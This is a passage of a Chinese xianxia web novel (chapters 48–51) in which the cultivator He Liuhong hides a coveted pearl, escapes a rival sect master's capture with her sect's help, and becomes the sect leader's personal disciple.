说到一半他又捂着嘴逃离了这间飘散食物香气的屋子。 贺小霓一边学着姐姐的样子品尝美食,一边困惑道:“姐姐,那个人是怎么了,难道他觉得不好吃吗?” 贺流虹扫一眼桌上,每一道菜的食材都是灵田中长出来的上等灵植,蕴含着丰富的灵气,怎么会不好吃呢。 她连忙追上去,在对方的房间外面找到那道颀长美丽的身影,仔细看来,他在瑟瑟发抖。 “彤云,你 这是怎么了?” 她刚发出声音,彤云便有些惊恐地抬头望过来。 恍惚间,贺流虹在他眼中看到了不安和无助,上下查看他一番,实在不解:“你也遇上了什么不便与人言说的麻烦事?” 彤云的手下意识停留在自己的腹部。 先前他只以为自己受了某种暗伤,或是修炼出了岔子,但随着时间一天天过去,腹中好似多了什么,存在感越发明显,日夜不停吸食他的灵力,化作自身生长的养分。 他反复回想到底什么样的毒或者法宝能将人伤成这样,但是越想越觉惶恐,因为这副症状分明就像是……像是…… 他依旧觉得难以置信,更觉难以启齿,看着眼前唯一发生过肌肤之亲之人,求助般开口:“我好像……好像是……” 他说得越发艰难,贺流虹眨着眼睛,急得抓心挠肝:“好像什么?你说,不管怎么回事,我定会陪你一起想办法,绝不抛下你。” 任凭她的语气再坚定,表情再关切,彤云还是没有继续说下去,只躲开她的手,红着脸躲进房间,并从里面锁上了门。 贺流虹的胃口被吊起,好奇心越发旺盛,在门口徘徊好半天,叹道:“哎,看来你我终究无法共患难,这过命的交情也不过如此。” 里面传来彤云为难的声音:“我真的无碍,贺道友,不必为我担心。” 贺流虹道:“那行吧,我明日再来找你。” 她返回去和贺小霓继续吃饭,和这个初临人世的几百岁幼妹交待了一些在世间生活的注意事项。 第二天,她打算找彤云告辞,再出去一趟,干件大事,却在推开对方房门后,只找到了一封信。 房中空无一人,那封信放在桌子上,含糊其辞地写着“师门有召,有缘再见”,又留了一个芥子袋。 贺流虹打开来一看,里面装的各种丹药灵宝。 她想这样也好,她本来就习惯了一个人行动。 嘱咐贺小霓在这里等她,贺流虹迅速离开。 她又去了一次云中仙城,听闻黑市最近还是在戒严,以防妖族再次混入。 贺流虹大摇大摆地走了进去,在门口接受了一种很像测灵石的法器的检查。 和她预料的一样,没有任何问题。 她这次直接穿过外围的集市,直奔拍卖场。 拍卖场门口又设了一道检测点,竟是一名大乘期修士亲自监督。 她仍然没有查出任何问题,倒是在她身后的一名男修忽然被揪住带走,那男修一路崩溃大喊:“什么妖族!你们空口污蔑不怕道心反噬么!你们到底想干什么!” 门口的守卫催促她:“这位道友快快请进,后面还有很多人排队。” 贺流虹一边听着那男修喊冤的声音,一边若有所思地进入里面的拍卖场。 里面的服务比外面的集市专业多了,有形貌秀丽的侍者引她去席间入座,并奉上灵茶。 四周上空还有大大小小的包厢,只要花费更多灵石就能换到包厢里更高档的作为。 贺流虹没有在这里待太久,她要的东西不算罕见,很快拍下一个由高阶炼器师炼制的戒子盒。 戒子盒和芥子袋都能用来储物,但戒子盒能附加更多特殊功效。 贺流虹拍下的这只盒子就施加了藏匿符文,并能缩小到如同一粒尘埃般大小,滴血认主后,不能再被主人以外的第二者摸见瞧见。 拿到东西后她就迅速离开黑市。 刚走出不远,就感觉身后有人跟踪。 现如今她五感敏锐,早早察觉到那人的位置,正想着反客为主,将人拿下问询,对方就意识到行踪暴露,迅速撤了。 她混入城中繁华街道,只见天玄宗张贴的寻人告示果然消失不见,但又多了风月宗的通缉令。 天玄宗放弃寻找她,风月宗却又开始公然通缉她。 风月宗的通缉令让很多人感到新奇,通缉令上写她擅闯风月宗禁地搅扰宗主清修,但众人都半信半疑,对此议论纷纷。 “风月宗宗主从前也是个天纵之才,几百年前便是因为他才能将那万年大妖封印在镇妖塔,是为仙门正派弟子的楷模,只可惜自此之后便闭关不出,让风月宗一群徒子徒孙整日放浪形骸,胡作非为。” “这几百年,向来是风月宗的人玩弄感情骗身骗心被旁人通缉追杀,还是第一次见风月宗主动通缉别人。” “这个叫贺流虹的,不是天玄宗弟子吗,据说还从妖尊手下救过很多人,因此负伤失踪,被天玄宗重金悬赏寻人呢。” “能让风月宗忍无可忍公开通缉,这位贺道友非同一般呐。” “妖族一再作乱,琼华真人重伤沉寂,就连佛子失踪也说不定和妖族有关,几大宗门又更新了悬赏令,将妖丹价格提高了一倍,修真界需要再多一些贺道友这样的人才,才能早日重归太平。” 贺流虹将种种议论尽收耳底,见身后再无人跟踪,悄无声息离开人群,进入水底,戒子盒滴血认主后,乾坤珠便被放入其中,她飞快顺水而下,到达最近的连接点,进入铜镜。 她铜镜当中这个秘境作为中转站,又找到通往镇妖塔的连接点,第二次来到塔内。 塔内由于各类妖族的存在,气息混乱无比,这一层的妖族数量看起来少了一些,看到她出现,纷纷怔愣住,眼中闪烁着奇异的光芒。 以防像上次一样引起守塔之人警惕,贺流虹不动声色将化作一粒尘埃大小的戒子盒放在身旁一根梁柱的缝隙,然后飞速离开。 她全程在塔内停留的时间只在瞬息,留下那些蠢蠢欲动的妖族对着凭空消失的空地发愣。 返回秘境,她不死心,来到当初第一次进入秘境的地方,试图直接回到风月宗后山那间小屋。 但和之前一样,一股不属于铜镜的力量将出口堵得严严实实,似乎从一开始就做好了让她有进无出的准备。 她只好回到河边,挑了个距离风月宗最近的连接点离开。 重新站在人来人往的街道,摊贩叫卖声不绝于耳。这座城距离风月宗只需半日路程,借助灵宝法器更是瞬间就能到达风月宗大门口。 贺流虹不紧不慢给天玄宗传了一封信,然后抬脚往风月宗大门口走去。 这时候余光瞥见街尾有家书铺,铺子门口站着个年轻俊秀的和尚,拿着本封面很眼熟的画册,似笑非笑地对铺子里的伙计道:“打着我的名号往外售□□.秽之物,是不是该给我个说法。” 贺流虹止住脚步,调转方向,凑到了书铺门口。 不少人认出那漂亮和尚手上的画册,正是那本佛子,再一听他的话,就知道今天有热闹看了。 那名伙计眼看着围过来看热闹的人越来越多,又看这找上门来的漂亮小和尚气度不凡,心中有了不好的猜想,堆笑表示:“这一定是误会,请这位贵人进来稍候,我去请老板来。” 贺流虹提高了声音:“别啊,若是行得正坐得端,藏着掖着做什么,当街解释清楚呗,我们也能帮忙做个见证。” 那和尚看向她,道:“她说的很对,快叫你们老板出来。” 伙计愤愤瞪了贺流虹一眼,焦头烂额地跑进去请人。 没过片刻,一女子走出,穿金戴银,可见这买卖赚得盆满钵满。 她挤出一点笑容,“原来您就是那位大名鼎鼎的佛子,果然风度不凡,都是误会,这一切都是误会啊。” 第49章 第49章万事大吉 书铺老板并不刻意掩藏自身修为,贺流虹稍一查探便知这是个金丹修士,至于背后还有没有更厉害的依仗,就不得而知。 禅宗那位莲花转世的佛子生了一张让人想入非非的脸,桃花眼脉脉含情地张望一圈,猝不及防就动了怒,呵斥道:“你还狡辩,真当我是三岁小孩!再不给我个交代,你就等着看吧。” 站在老板身后的书铺伙计还没回过神,恍恍惚惚就发现自己上了天,脑袋朝下被倒悬在半空,吓得哇哇乱叫。 “老板救命!圣僧别杀我!” 老板嘴角的笑容越发僵硬,道:“有话好好说,不知道佛子想如何,我这都是小本生意,实在经不起您的打打杀杀。” 围观的人群也万没想到莲花转世的禅宗佛子竟如此不好招惹,唯恐等会儿打起来时被误伤,不约而同地往后退了几步。 书铺老板听着自家伙计惊恐万状的叫声,不禁冷汗连连,嘀咕道:“天玄宗也只不过是来砸了几个摊子,佛子上来就要杀人,这对吗。” 贺流虹瞥了那喊打喊杀的佛子一眼,故意摇头叹气:“老板,现在知道我们天玄宗宽宏大量了吧,你贪财无度,早该知道会有这一天。” 佛子果然被她这话吸引了注意力,若有所思瞥了她一眼。 老板飞快地认怂:“从今日起,这些画册我绝不再继续售卖,还请佛子……” “你不卖了?”佛子一脸更为不悦的神情,“你不卖怎么挣灵石,你不挣灵石,怎么给我分红?” 老板:“啊?” 贺流虹:“啊?” 佛子抱着胳膊一脸严肃:“打着我的名义售卖的那些东西,包括先前已经赚取到的,所有利润分我九成,我便既往不咎。” 老板暗自松了口气,转了转眼珠,掷地有声地答应下来:“这当然没问题,都是在下应该做的。” 贺流虹摸清了书铺老板的个性,琢磨着之后采取什么手段帮贺小霓讨要被私吞的卖画收入。 她边想着,边离开了人群。 后方传来急促的脚步声,是佛子跟了过来。 她回头望向对方那光秃秃的脑门和如画般的容貌,“佛子有事找我?” “你喊我莲音吧,我已经打算还俗,不当什么佛子了。” 贺流虹点点头:“你长得这么好看,大好年华,整天受一堆清规戒律的约束,着实有些残忍了。” 莲音激动道:“我也这么想,老和尚烦都烦死了,天天在我耳边念经。” 他上前来一把握住贺流虹的手,脸上笑颜如花:“难怪我方才一见你,就倍觉亲切,原来是知己!” 他专注地望着她,那双桃花眼更显得柔情似水:“我还不知道你叫什么名字。” “哦,我叫彤云,”贺流虹不假思索地报上假名,作遗憾状,“我也想和莲音秉烛夜谈,但我还有急事,心有余而力不足。” 莲音想起来自己追上她的正事,道:“你方才说自己出自天玄宗,想必知道一位叫贺流虹的女修。” 贺流虹淡定地“嗯”了一声,指了指满大街的通缉令,“知道,当然知道,她如今名气大着呢。” “那你能带我去见她吗?”莲音期待地看着她,“我必有重谢。” 贺流虹疑惑道:“你去见她做什么?” 莲音望着最近处一张公告栏的通缉令。 风月宗比天玄宗更加仔细,在通缉令上附着一段贺流虹的影像,影像中是贺流虹暴打南宫月宁那位徒弟的画面。 莲音一脸坚定地开口:“我想做她的道侣,我想让她知道,我比那个空有第一美人虚名的小师叔强多了。” 贺流虹:“啊?” 她想知道禅宗这些年到底是怎么教育佛子的,不能说是成功吧,只能说是完全失败了。 莲音皱了皱眉,不服气道:“怎么了?你难道觉得我没有那个琼华好看吗?” “不是谁更好看的问题。” 贺流虹清了清嗓子,语重心长地说道,“我跟你说句实话吧,是这样的,贺流虹她私下里偷偷告诉过我,她说她喜欢那种男修,就是那种,既具备风月宗的放浪,又拥有名门正派的矜持。” 她认真地打量了一遍莲音,道:“你是佛子,够名门够正派,但是毕竟没有在风月宗学习过他们的技巧,我想贺流虹大概不太会同意你做道侣。” 莲音恍然大悟,“彤云道友,我觉得你说得对,光凭容貌是赢不了的,我这就去拜入风月宗,潜心学习。” 贺流虹欣慰地点头:“莲音,你如此有觉悟,又如此热爱学习,一定能得偿所愿的。” 莲音向她拜了一拜,道:“多谢彤云道友为我指点迷津,等我找书铺要完债,立即前往风月宗拜师。” 贺流虹谦虚道:“哪里哪里,举手之劳。” 两人在街边分开,不过瞬息,贺流虹来到风月宗门口。 她恢复了本来面貌,刚一出现,就引来所有人注意。 “是贺流虹,快去禀报南宫师姐。” “将她抓住,别让她再跑了!” “你还敢主动送上门,好大的胆子!” 贺流虹虔诚开口:“先前不小心搅扰贵宗宗主清修,特来向宗主赔罪。” 不一会儿南宫月宁便出现在她眼前,神情有些古怪,并未像之前那样多说些什么,只淡淡瞥她一眼,道:“随我来。” 贺流虹堂而皇之进入风月宗,一路不停地来到后山禁地。 山脚下的入口,南宫月宁终于停下脚步,笑着问她:“宝贝,真的不考虑一下我上次的建议吗,我的承诺一直有效哦。” 贺流虹正义凌然道:“前辈,就算你喊我一万声宝贝,我也是不会背叛师门的。” 南宫月宁立刻变脸,冷哼一声:“那你好自为之吧。” 紧接着向里面传音:“师父,人带来了。” 里面的声音意外的苍老,听不出情绪:“将她留下,你离开吧。” 南宫月宁转身就走,头也没回。 贺流虹恭敬道:“宗主,上次是晚辈失礼,不知怎么就闯入禁地,惊扰到您清修,很是抱歉。” 那苍老的声音依旧没什么情绪,道:“进来,我有话问你。” 贺流虹便抬脚往山中走去,在快要靠近那间放置着铜镜的小屋时,她又感应到风月宗宗主的灵力波动。 不知道是不是她的错觉,这股灵力波动比上次更加虚弱,仿佛随时都会像雾气一样消散。 小屋依然伫立在林间一片平坦地面上,上次来得匆忙,此时细细观察,才发现门前屋后都有开垦和建造的痕迹,有人曾经在这里生活,但时间久远,痕迹几乎被野草树木掩盖。 屋门虚掩,门口还留有她的血迹,门后的桌上,那面铜镜和上次一样斑驳破碎,积满灰尘。 她一想到这面铜镜带给她的种种困惑,忍不住加快脚步往屋子里走去。 在门口,她猛然停下脚步。 地面果然阵纹浮动,若隐若现的符文像一张网,只要她踏入一步,便立即将她缚入其中。 这里是风月宗宗主的清修之地,连南宫月宁都要止步山下,能设下这个陷阱的大概只有宗主本人。 她往后退,抬头望向四周的树林,扬声问道:“不知道宗主现在何处,晚辈想当面致歉。” 那声音飘散在空中,轻嗤道:“恐怕致歉是假,盯上了本座的东西才是真。” 贺流虹一拍脑袋,做歉疚状:“原来那是宗主的法宝,我还以为只是一面没人要的破镜子。” 她刚说完,人就眨眼睛来到了一个狭窄山洞。 洞中坐个一个白发苍苍的……青年,看五官容貌很年轻俊美,一听声音又全是岁月的痕迹。 “你比我想的还要大胆。” 风月宗宗主隐隐有些不悦,目光锐利地瞪她一眼。 贺流虹便毕恭毕敬地行礼,低头时又瞧见他座下的阵纹光芒闪烁明灭。 那是一个有些诡异的法阵,贺流虹曾经在小师叔的书架上翻看有关各类阵法的卷册时,似乎见过相似的图案,是一种用来束缚肉身使其不至于很快泯灭的法阵,代价就是肉身无法踏出法阵, 否则会立刻遭受更强烈的反噬当场魂飞魄散。 她笑道:“宗主说有话问我,不知道是什么话?” 她打量对方时,清晰感觉到对方释放出的神识也在仔细探查她全身。 “宗主是在我身上寻找什么宝贝吗?”她满眼无辜,“我只是个贫穷的外门弟子,身上可没带什么能入得了宗主法眼的宝贝。” 男人一再查探,并没有任何收获,又被她这副装傻充愣的语气一刺激,不禁失了耐心,阴沉开口:“东西呢,告诉我,乾坤珠在哪儿?把它交出来!” 贺流虹道:“原来这就是宗主要找我问的话啊,可是我从未听说过这种东西,又怎么把它交给你。” “别装傻!” 对方怒斥一声,阵阵灵压将她笼罩,使她困在原地不得动弹,又冷声威胁道:“若是不交出乾坤珠,此生休想再踏出风月宗后山半步,你在乎的人,有一个我杀一个。” 伴随着这次出手,贺流虹更加清晰地感受到对方身上熟悉的气息。 她虽然还没能做到完全控制乾坤珠,但对方身上被乾坤珠制造出来的伤势很容易被她感知到。 分神被乾坤珠伤了两次,正如那火红的狐狸妖尊所说,堂堂风月宗宗主,封印万年大妖的修真界楷模,如今是新伤叠旧伤,早已是强弩之末。 她认真问道:“可是你就不怕再被我伤一次吗,到时候恐怕真的就回天乏术吧。” 男人的眼里带着几分癫狂的味道,阴森开口:“只要拿回乾坤珠,什么都无所谓。” 贺流虹叹道:“哎,想不到几百年前封印大妖、受仙门敬仰的风月宗宗主,竟为了一颗邪乎的珠子,勾结妖族,谋害仙门,旁人要是知道了会很震惊吧。” “你觉得你有机会将这个消息告诉第二个人吗?” 贺流虹又“哎”了一声,“确实,这也不好说,天玄宗应当不会为了区区一次飞升上界的机会来找风月宗要人吧。” 风月宗宗主皱起眉头,“你以为我想不到这一点?但是他要我就必须给,能不能将你带回去,要看他们的本事。” 这时一道赫赫威严的声音裹挟着深不可测的灵力传递到山洞:“周宗主,我的徒弟贺流虹年纪小不懂事,扰你清修实在可恨,请让我将她带回去以门规处罚,给贵宗一个交代。” 贺流虹听到掌门的声音,疑惑了一下:“我什么时候成掌门的徒弟了?” 风月宗宗主有些无语地看她一眼,似乎在惊讶她这时候还能纠结这种问题。 “景掌门莫怪,只是方才有邪修再次闯入我的清修之地,先一步将你那徒儿抢走了。” 他说着便化出一道分神,黑袍人再次出现在贺流虹眼前,抓着她瞬移出后山,一步迈出数千里,很快到了一片不毛之地。 贺流虹挣扎起来,喊道:“掌门救我,小师叔救我!” 喊完,天空四角多出四座威严法相,天玄宗对于飞升的渴望远超贺流虹预期,四位太上长老亲自出场,将四周围了个水泄不通。 掌门急匆匆赶过来,身边跟着一道久未相见的身影,是贺流虹顺带喊了一喊的小师叔景雍。 风月宗宗主冷笑一声,竟以自身神魂为燃料,燃了半只魂香,幽蓝烈焰烧穿一道出口,抓住贺流虹又逃之夭夭。 贺流虹望了一眼神魂不稳身形摇曳的男人,道:“宗主,一把年纪了,别太拼了,把我放了吧。” 男人咬牙骂道:“痴心妄想。” 他刚要继续赶路,前方出现了一个脑门锃亮的老和尚,念着“阿弥陀佛”,拨着念珠,就在他脚下划下一座牢笼。 乾坤珠未到手,他不能再继续不要命地燃烧神魂,深吸了一口气,“老秃驴,你在这里凑什么热闹,让开。” 老和尚望向贺流虹,微一颔首,道:“我宗佛子被你手上这位小施主引上歪路,险些拜入风月宗,小施主最好立刻随老衲回禅宗,给禅宗诸位佛修一个交代。” 天玄宗掌门再次出现,对老和尚堆起满脸笑容,道:“一定一定,我会亲自押着这混账东西去禅宗请罪。” 贺流虹对抓着自己不放的黑袍人低声道:“你瞧你现在这个样子,何必为难自己呢,把我放了吧,我保证不说出你的秘密。” 天上,天玄宗四位大乘期修士和禅宗几位大师全都到了,掌门景离沉声警告:“何方邪修竟敢伤我仙门弟子,想活命的话速速将她放了。” 若说刚刚还能博得一线生机,此时再出手也只是自寻死路,这缕分神气息微弱,冷哼一声,消失在原地。 贺流虹正要向久别重逢的小师叔打个招呼,脑海中就响起黑袍人的神识传音:“你当真以为丹府内的妖气消失,便能万事大吉吗?想知道身世,光是拿到水月镜可没什么用处,将乾坤珠交给我,我自会告知你一切。” “贺流虹,你发什么呆,看看你干的好事。” 掌门佯装恼怒,当着禅宗方丈的面,对她指指点点,“你竟敢唆使佛子加入风月宗,你是太闲了吗你!” 贺流虹将脑海中的声音甩出去,看了一圈将自己重重包围的、动一动手指就天摇地晃的诸位大修,讪讪笑道:“哎,方丈真是心如明镜,一眼就看出和佛子开玩笑的人是我。” 她的目光最终落在小师叔身上,原本秾艳美丽的小师叔脸色苍白眉眼惆怅,身上的衣袍也显得格外宽大。 她轻声说道:“师叔,数月未见,你清减很多,衣服瞧着都有些不合身了。” 第50章 第50章他有些难言之隐 景雍下意识抬起衣袖挡在身前,抿了抿嘴,露出一丝牵强的笑容,道:“你流连在外几经波折,我在神月峰很是担心,如今得以与你相见,我很高兴。” 贺流虹“咦”了一声,心想他明明离开了神月峰,又有什么必要隐瞒这件事。 她笑得眉眼弯弯,一副很庆幸的样子:“能够遇上小师叔还有掌门,我也好开心啊。” 掌门忧心忡忡看着她,急于将这二人带回,以免再生波折,扭头望向禅宗的人,道:“方丈,诸位大师,在下日后一定亲自登门向禅宗赔罪,只是今日实在有些不便。” 老和尚道:“掌门若是担心有邪魔再次对贺小施主出手,不如让她和琼华真人一同随老衲回清净台。” 掌门一脸菜色,支支吾吾:“不、不必麻烦禅宗了,天玄宗自己的麻烦自己解决便好。” “清净台能为贵宗的两位翘楚净化身心,祛除妄念,掌门确定不想试一试吗?” 掌门连连摆手:“不用不用,真的不用。” 谁不知道,入了禅宗的清净台,说得好听些,是去除妄念无欲无求,实际差不多等于半只脚离了尘世,变成一具行尸走肉,失去一切正常人应有的喜怒哀乐贪嗔痴。 到时候别说是师承何处,连自己姓甚名谁都忘了。 天玄宗还怎么指望二人反哺宗门。 两方言语交锋的时候,贺流虹看似配合地站在景雍身边,然而整个人早已神游天外,黑袍人说的话始终在她脑海中盘旋。 她想拿到铜镜,一方面是因为垂涎铜镜连通外界的功能,另一方面自然是因为它着实诡异,似乎和她、和乾坤珠、和那不知不觉出现又不知不觉消失的妖气有着千丝万缕的联系。 有一瞬间她想将乾坤珠交出去换取一个真相,但转念一想,黑袍人不是个好东西,说不定只是怕她说出他的秘密,故意说些意味不明的话,令她有所顾忌。 她心情微妙,有些希望天玄宗和禅宗打起来,她好趁乱开溜。 只可惜双方都很克制,掌门更是深谙伸手不打笑脸人的道理,越是拒绝越是笑得灿烂。 禅宗的人急匆匆赶来,道:“师父,不好了,莲音师兄他又跑了。” 于是这场对峙也就结束了,老和尚领着一群人去追佛子。 贺流虹随掌门等人登上飞舟,返回天 玄宗。 离开了半年,宗门内的氛围大变样,看起来人人神情严肃,路上相遇也只是低声交谈片刻就立即匆匆离去,像是忙着做什么。 只有一个周无疾显得格外开怀,一群人簇拥着他,脸上是仰慕奉承的笑意,而他本人的脸上更是强忍得意洋洋的神色,将下巴抬得很高。 隔着一段距离,贺流虹五感通达,很容易便听见许多人在恭喜他修成金丹前途无量,更有一人压低声音附在他耳边道:“周师兄,半年便进阶金丹,以这般资质,整个天玄宗无人能及,即便是琼华师叔也比不上周师兄啊,将来由周师兄继承衣钵,琼华师叔怕是还要感到荣幸呢。” 贺流虹不禁想冲那人竖起大拇指,这溜须拍马的本事也是非常人能及,相当豁得出去。 不知是否感觉到她的目光,周无疾从众星捧月中回过头望向天际,飞舟缓缓降落,周无疾远远看清她的脸,轻嗤一声,高昂着下巴走了。 掌门似乎没瞧见这一幕,一路上思绪繁重,飞舟一降落,便将她带去自己的洞府,谁都没有理会。 贺流虹不解,难道不是去神月峰吗? 景离屏退众人后,揉了揉眉心,道:“我已将你的名字从外门除去,从今往后你便是我的亲传弟子,住在我妙音峰,同你大师姐二师兄一起修炼。” 贺流虹疑惑道:“为何如此突然?” 景离说道:“不算突然,我早有此打算,此次你重伤妖尊声名远扬,直接进入内门成为亲传,倒也名副其实。” 贺流虹便朝他拜了一拜,“徒儿见过师父。” 景离甚是欣慰,道:“这半年的历练让你进步神速,竟是已经金丹大成,放眼整个修真界,也只有琼华能与你相提并论。” 贺流虹谦虚道:“侥幸罢了。” “你平白受琼华牵连,在外流连半年,辛苦了。”景离说道,“那时,风月宗的南宫月宁将你从医仙谷掳走,也是因为琼华?” 贺流虹点点头,又一脸老实地说道:“之后弟子为了脱身误闯风月宗禁地,搅扰前辈清修,实在心中有愧。” 景离冷哼一声:“你无需羞愧,这是他们无礼在先,此事我必会追究到底。” “多谢师父庇护。” “后来呢,你和一众修士落入妖尊手中,那群人被你救出之后,你为何不伺机返回天玄宗,也不传递任何消息?” 贺流虹心想,来了,躲不过去的盘问,终于来了。 她缓缓说道:“和妖尊交手后,徒儿经脉寸断,险些断送性命,又有妖族紧随其后寻仇追杀,幸好遇到一位名叫彤云的道友,他带我藏匿到一处灵气充沛的洞天福地。” 景离恍然大悟:“看来这便是你的机缘,那位彤云道友现在何处,出身哪里,为师想要亲自登门道谢。” 贺流虹本来怀疑彤云是小师叔假扮的,正有些后悔让彤云离得太近,但是看掌门的反应,暗自松了口气。 她笑道:“我也不知道他具体是什么人,只知道他的师父已经陨落。” 想了想又补充道:“哦,还很有钱,出手大方,和小师叔一样,人美心善。” 景离不知想起什么,一提到“小师叔”,目光暗淡下去。 贺流虹观察了一下他的神色,问:“小师叔还好吗,为何一回来便去了神月峰?” 而且在飞舟上,她也能感觉到小师叔在有意避开自己,紧闭房门。 景离支支吾吾,面露难色:“他……你小师叔他……他有些难言之隐,需要些时间来处理。” 贺流虹便不再追问,只说道:“那神交一事……” “此事暂且搁置。” 景离斩钉截铁地开口:“你回来得正好,我与长老、太上长老们商议过后,决定提前开启龙吟秘境,择日进行宗门大比确定名额,所有元婴期以下弟子都能参加,取前十名。” 他说着,瞥她一眼,神识将她查探一遍,只觉得她全身透露着一种与从前全然不同的气息,四周的灵气纷纷随着她的呼吸往她身旁靠拢。 只是修成金丹,绝不会带来如此令人惊喜的变化,这副受天地灵气青睐的模样,仿若数千年未见过的天生道体,一旦认真修炼起来,可谓是一日千里。 他盯着那些环绕在贺流虹身周的灵气,看得越久,越是心潮澎湃。 一个模模糊糊的隐秘念头在心中越发清晰地显现出来。 如若琼华当真飞升无望,天玄宗也并非后继无人。 贺流虹顿时更加确定,小师叔出事了,否则无论什么宗门大比什么龙吟秘境都不至于让神交暂停。 她在铜镜中听到过小师叔前段时间也离开了天玄宗,兴许是在外面遇到了意外。 可是看掌门的脸色,除了忧愁,却还显露出几分激动欣喜。 景离抬眼,与她对视上,意味深长地说道:“龙吟秘境是天玄宗老祖万年前飞升留下的,藏着种种机缘传承。若能进入其中,即便运气不好遇不上机缘,修炼一日也抵得上在外修炼百年。它原是一百年自动开启一次,如今由太上长老们合力施法强行打开它的入口,只为让天玄宗多出几个好苗子。” 他顿了顿,加重语气强调道:“天玄宗正逢多事之秋,灵脉即将断绝之事,上次我也已经告知过你。琼华遇到了麻烦,你是我与长老们最看重的弟子,进入龙吟秘境的名额你必须拿下,以你的资质,十年之内突破元婴,一切便有了希望。” 贺流虹听说过这个秘境,天玄宗的底蕴丰厚,最惹其他门派艳羡的,除了拥有琼华真人这样的修炼天才,便是老祖遗留下的龙吟秘境,数万年来,仅凭这一处秘境便哺育培养了无数仙门天骄。 不过一百年才开启一次,一次又只有十个名额,她就没多想,现在天玄宗不惜以人力强行开启,掌门点名道姓让她拿下名额,用的还是接近于命令的语气。 这一切让她有种“天玄宗真是急了”的感觉。 她点头答应:“弟子尽力。” 景离挥了挥手,说:“自去修炼吧,有何疑问便去问你师姐。至于你二师兄,他致使你被风月宗掳走,我罚他闭门思过十年,你近来想必见不到他了。” 贺流虹走出一段路,又停下来,忍不住回头询问:“掌门,为何几大宗门一再提高妖丹的价格,妖族早已式微,散落各处苟且偷生不成气候,即便不管也掀不起什么风浪,有必要这样吗?” 景离低声道:“慎言。往后万万不可再说这种话。妖族的事你不必多管,你现在唯一需要做的事情就是在妙音峰潜心修炼。” 贺流虹自知这话有替妖族开脱的嫌疑,闭上嘴告辞。 刚一出去,掌门的大徒弟,也就是她现在的大师姐,正百无聊赖地靠在栏杆上打哈欠,见到她,招了下手,道:“可算出来了,我带你去住处吧。” 贺流虹担心她站着就要睡过去,连忙跟上。 掌门的妙音峰地方宽敞,贺流虹的住处紧挨着大师姐,所以刚一到门口,她就又被丢下了,这回大师姐体贴很多,临走前还跟她解释了一句“我回去补觉了”。 推开门,里面是……一片平地。 原来是只给她分配了一块地皮,大师姐在隔壁向她传音:“不知道你喜欢什么样的洞府,我就没给你添麻烦,你自己看着布置一下,有什么需要的就来找我,不过先等我睡醒。” 贺流虹费解地挠挠头,“好吧,多谢师姐为我考虑。” 传音立刻便断开了。 她在开阔平坦的空地站了一会儿,行吧,至少地方还挺大。 仙人平地起高楼,她如今修为已是金丹,自己建个洞府倒也不算太费力,只是有些繁琐。 她先将建造洞府的事放在一边,出了一趟妙音峰。 小师叔怪怪的,她想再去探探风。 掌门虽说让她在妙音峰修炼,但没有不让她出门的意思,她一路畅通无阻地离开妙音峰,直奔神月峰。 在小师叔的洞府外,一个有过几面之缘的老熟人和她迎面相遇。 她往洞府去,周无疾背对洞府离开。 四目相对,她什么都没表示,周无疾先变了脸,仿佛是遇上极为仇恨之人似的,瞪了她一眼,冷冷开口:“你又来这里做什么?” 贺流虹摇摇头,不和有毛病的人一般见识,绕过他要走。 他伸手拦住:“ 师尊身体抱恙,你请回吧。” 贺流虹挑了下眉,抱起胳膊:“是你师尊让你带话,还是你自作主张?” 见他面色有异,她故意很夸张地讥笑一声:“该不会是连自己师尊的面都没见到,就被赶出来了吧。真可怜,敬仰有加的师尊其实根本不拿你当回事。” 周无疾大喝一声:“你简直放肆!” 他平日里学着师尊的样子在人前摆出一副冷酷无情的样子,三两下被贺流虹刺激得显出原形,眼中燃着熊熊怒火。 贺流虹说:“是你为难我在先,现在又一言不合要动手,到底是谁放肆。” 周无疾原本是想动手,但是隐隐察觉到她身上散发的气息,心神为之一颤。 半年未见,她竟也已修成金丹。 50-60 第51章 第51章她会不会怀疑 方才隔得远,又有一群大修环绕,他并没有意识到贺流虹的变化。 再回想第一次相见,他高高在上,被执法堂一众弟子奉承讨好,是整个天玄宗年轻一辈中最风光的一位,是琼华真人的唯一亲传弟子。 那个时候,他对这个外门小弟子多瞧一眼都算是恩赐。 她有什么是能比得上他的,家世还是天赋?修为还是地位? 一个来自凡间界的孤儿,没有任何背景靠山,没有任何人相助,和那些废物一样,任他碾进泥里。 这才过去多久,竟和他一样成了金丹,成了掌门的亲传。 甚至还有传闻称,此次龙吟秘境其实是专为她一人开启,掌门及各位长老已有放弃琼华的心思,转而将飞升的希望寄托在她身上。 想到这里,周无疾就一阵气急败坏,恶狠狠道:“就凭你,也配让我动手?” 贺流虹捂住耳朵,啧啧摇头:“随便聊两句,瞧你急成什么样,吼那么大声。” 周无疾怀疑她是在故意挑衅,可是却没有办法,天玄宗如今是更加不会让人碰她一根手指头的。 更何况,今时不同往日,即便动手,他也未必有把握能在她手下占到好处。 他阴恻恻笑了一声:“希望你的金丹货真价实,否则宗门大比上被我当众打下去,就丢脸丢大了。” 贺流虹叉着腰,高昂着脖子,大喊:“小师叔!你管管你徒弟!他又犯贱了!” 洞府内传来清冽的嗓音:“周无疾,不可无礼,我说过,没有命令,不得靠近我的洞府。” 贺流虹趁势便说:“小师叔,快让我进去躲躲吧,我怕他要对我动手,我才修炼三年,打不过他的。” 片刻后,挡在洞府外的结界缓慢打开一道入口。 贺流虹大摇大摆地走了进去,入口在她身后消失。 周无疾望着再次对他关闭的洞府,紧绷起身体,握紧拳头,满眼浓重的戾气逸散出来。 他想自己真是错看景雍了,他敬他为师尊,维护他声誉,侍奉他左右。 然而,此人仗着自身地位权势修为皆在他之上,心中从来瞧不起他! 他倒要看看,将来有一天,他这位敬爱的师尊被人弃之如敝履、被踩在脚下时还能不能继续如此傲慢! 周无疾的想法,洞府内二人自然一无所知。 贺流虹原本还担心会被小师叔置之不理,多亏这人主动生事,这才有理由让他师尊收拾烂摊子。 一见到景雍,她就作受伤状:“小师叔,你的徒弟实在是太不好相处了,每次都要欺负我,他还说宗门大比的时候要当众打压我,好害怕。” “我会警告他一番,让他向你赔罪。” 景雍有些心不在焉地应了一句,望着她半真半假告状的样子,明明才分开不久,却有种恍如隔世的感觉。 在“彤云”面前,她似乎会更坦荡真实一些,会和他玩闹。 他不知这是二人身份带来的隔阂,还是仅仅因为“彤云”更讨人喜欢。 贺流虹十分宽宏大量,说道:“赔罪就不必了,都是同门,让他以后注意点就行了。” 景雍点了下头,眼睛望向窗外,显得有些神思恍惚。 金月从窗口飞进来,挥动翅膀掀起一阵风,将它主人的衣袍吹动。 